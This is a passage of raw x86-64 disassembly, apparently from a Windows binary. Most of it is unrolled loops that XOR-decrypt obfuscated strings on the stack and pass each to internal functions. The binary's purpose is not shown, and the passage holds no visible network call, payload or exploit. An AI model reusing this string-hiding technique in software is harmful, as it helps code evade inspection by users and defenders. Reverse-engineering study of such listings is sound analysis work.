mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x2f2f], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x2f30], al
lea ecx, [r8 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x2f31], al
lea ecx, [r8 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x2f32], al
lea ecx, [r8 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x2f33], al
lea ecx, [r8 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x2f34], al
lea ecx, [r8 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x2f35], al
lea ecx, [r8 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x2f36], al
lea ecx, [r8 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x2f37], al
lea ecx, [r8 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x2f38], al
lea ecx, [r8 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x2f39], al
lea ecx, [r8 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x2f3a], al
lea ecx, [r8 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x2f3b], al
lea ecx, [r8 + 0xd]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x2f3c], al
lea ecx, [r8 + 0xe]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x2f3d], al
lea ecx, [r8 + 0xf]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x2f3e], al
lea ecx, [r8 + 0x10]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x2f3f], al
lea ecx, [r8 + 0x11]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x2f40], al
lea ecx, [r8 + 0x12]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x2f41], al
lea ecx, [r8 + 0x13]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x2f42], al
lea ecx, [r8 + 0x14]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x2f43], al
add r10d, 0x17
cmp r10d, 0x5c
jl 0x1400f3a10
lea rdx, [rsp + 0x2f2d]
lea rcx, [rsp + 0x1148]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401beb80]
vmovups ymmword [rsp + 0x2275], ymm0
vmovups xmm1, xmmword [0x1401beba0]
vmovups xmmword [rsp + 0x2295], xmm1
mov eax, dword [0x1401bebb0]
mov dword [rsp + 0x22a5], eax
movzx eax, word [0x1401bebb4]
mov word [rsp + 0x22a9], ax
xor r10d, r10d
nop dword [rax]
mov eax, 0x3521cfb3
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x2275], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x2276], al
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x2277], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x2278], al
lea ecx, [r8 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x2279], al
lea ecx, [r8 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x227a], al
lea ecx, [r8 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x227b], al
lea ecx, [r8 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x227c], al
lea ecx, [r8 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x227d], al
lea ecx, [r8 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x227e], al
lea ecx, [r8 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x227f], al
lea ecx, [r8 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x2280], al
lea ecx, [r8 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x2281], al
lea ecx, [r8 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x2282], al
lea ecx, [r8 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x2283], al
lea ecx, [r8 + 0xd]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x2284], al
lea ecx, [r8 + 0xe]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x2285], al
lea ecx, [r8 + 0xf]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x2286], al
lea ecx, [r8 + 0x10]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x2287], al
lea ecx, [r8 + 0x11]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x2288], al
lea ecx, [r8 + 0x12]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x2289], al
lea ecx, [r8 + 0x13]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x228a], al
lea ecx, [r8 + 0x14]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x228b], al
lea ecx, [r8 + 0x15]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x228c], al
lea ecx, [r8 + 0x16]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x228d], al
lea ecx, [r8 + 0x17]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x228e], al
lea ecx, [r8 + 0x18]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r10 + 0x228f], al
add r10d, 0x1b
cmp r10d, 0x36
jl 0x1400f3e60
lea rdx, [rsp + 0x2275]
lea rcx, [rsp + 0x1168]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bebc0]
vmovups ymmword [rsp + 0x2d40], ymm0
vmovups ymm1, ymmword [0x1401bebe0]
vmovups ymmword [rsp + 0x2d60], ymm1
vmovsd xmm0, qword [0x1401bec00]
vmovsd qword [rsp + 0x2d80], xmm0
mov eax, dword [0x1401bec08]
mov dword [rsp + 0x2d88], eax
movzx eax, word [0x1401bec0c]
mov word [rsp + 0x2d8c], ax
movzx eax, byte [0x1401bec0e]
mov byte [rsp + 0x2d8e], al
xor r8d, r8d
lea r9, [rsp + 0x2d40]
nop
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4f
jl 0x1400f4380
lea rdx, [rsp + 0x2d40]
lea rcx, [rsp + 0x1188]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bec10]
vmovups ymmword [rsp + 0x2d8f], ymm0
vmovups ymm1, ymmword [0x1401bec30]
vmovups ymmword [rsp + 0x2daf], ymm1
vmovsd xmm0, qword [0x1401bec50]
vmovsd qword [rsp + 0x2dcf], xmm0
mov eax, dword [0x1401bec58]
mov dword [rsp + 0x2dd7], eax
movzx eax, word [0x1401bec5c]
mov word [rsp + 0x2ddb], ax
movzx eax, byte [0x1401bec5e]
mov byte [rsp + 0x2ddd], al
xor r8d, r8d
lea r9, [rsp + 0x2d8f]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4f
jl 0x1400f4440
lea rdx, [rsp + 0x2d8f]
lea rcx, [rsp + 0x11a8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bec60]
vmovups ymmword [rsp + 0x2e82], ymm0
vmovups ymm1, ymmword [0x1401bec80]
vmovups ymmword [rsp + 0x2ea2], ymm1
vmovups xmm0, xmmword [0x1401beca0]
vmovups xmmword [rsp + 0x2ec2], xmm0
mov eax, dword [0x1401becb0]
mov dword [rsp + 0x2ed2], eax
xor r10d, r10d
nop word [rax + rax]
movsxd r9, r10d
mov eax, 0x4d4873ed
imul r10d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r9 + 0x2e82], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r9 + 0x2e83], al
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r9 + 0x2e84], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r9 + 0x2e85], al
lea ecx, [r8 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r9 + 0x2e86], al
lea ecx, [r8 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r9 + 0x2e87], al
lea ecx, [r8 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r9 + 0x2e88], al
lea ecx, [r8 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r9 + 0x2e89], al
lea ecx, [r8 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r9 + 0x2e8a], al
lea ecx, [r8 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r9 + 0x2e8b], al
lea ecx, [r8 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r9 + 0x2e8c], al
lea ecx, [r8 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r9 + 0x2e8d], al
lea ecx, [r8 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r9 + 0x2e8e], al
lea ecx, [r8 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r9 + 0x2e8f], al
lea ecx, [r8 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r9 + 0x2e90], al
lea ecx, [r8 + 0xd]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r9 + 0x2e91], al
lea ecx, [r8 + 0xe]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r9 + 0x2e92], al
lea ecx, [r8 + 0xf]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r9 + 0x2e93], al
lea ecx, [r8 + 0x10]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r9 + 0x2e94], al
lea ecx, [r8 + 0x11]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r9 + 0x2e95], al
lea ecx, [r8 + 0x12]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r9 + 0x2e96], al
lea ecx, [r8 + 0x13]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r9 + 0x2e97], al
lea ecx, [r8 + 0x14]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r9 + 0x2e98], al
lea ecx, [r8 + 0x15]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r9 + 0x2e99], al
lea ecx, [r8 + 0x16]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r9 + 0x2e9a], al
lea ecx, [r8 + 0x17]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r9 + 0x2e9b], al
lea ecx, [r8 + 0x18]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r9 + 0x2e9c], al
lea ecx, [r8 + 0x19]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r9 + 0x2e9d], al
lea ecx, [r8 + 0x1a]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x53
xor byte [rsp + r9 + 0x2e9e], al
lea ecx, [r8 + 0x1b]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x54
xor byte [rsp + r9 + 0x2e9f], al
lea ecx, [r8 + 0x1c]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x55
xor byte [rsp + r9 + 0x2ea0], al
lea ecx, [r8 + 0x1d]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x56
xor byte [rsp + r9 + 0x2ea1], al
lea ecx, [r8 + 0x1e]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x57
xor byte [rsp + r9 + 0x2ea2], al
lea ecx, [r8 + 0x1f]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x58
xor byte [rsp + r9 + 0x2ea3], al
lea ecx, [r8 + 0x20]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x59
xor byte [rsp + r9 + 0x2ea4], al
lea ecx, [r8 + 0x21]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x5a
xor byte [rsp + r9 + 0x2ea5], al
lea ecx, [r8 + 0x22]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x5b
xor byte [rsp + r9 + 0x2ea6], al
lea ecx, [r8 + 0x23]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x5c
xor byte [rsp + r9 + 0x2ea7], al
lea ecx, [r8 + 0x24]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x5d
xor byte [rsp + r9 + 0x2ea8], al
lea ecx, [r8 + 0x25]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x5e
xor byte [rsp + r9 + 0x2ea9], al
lea ecx, [r8 + 0x26]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x5f
xor byte [rsp + r9 + 0x2eaa], al
lea ecx, [r8 + 0x27]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x60
xor byte [rsp + r9 + 0x2eab], al
add r10d, 0x2a
cmp r10d, 0x54
jl 0x1400f44e0
lea rdx, [rsp + 0x2e82]
lea rcx, [rsp + 0x11c8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401becc0]
vmovups ymmword [rsp + 0x2dde], ymm0
vmovups ymm1, ymmword [0x1401bece0]
vmovups ymmword [rsp + 0x2dfe], ymm1
vmovups xmm0, xmmword [0x1401bed00]
vmovups xmmword [rsp + 0x2e1e], xmm0
movzx eax, byte [0x1401bed10]
mov byte [rsp + 0x2e2e], al
xor r10d, r10d
mov eax, 0x3521cfb3
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x2dde], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x2ddf], al
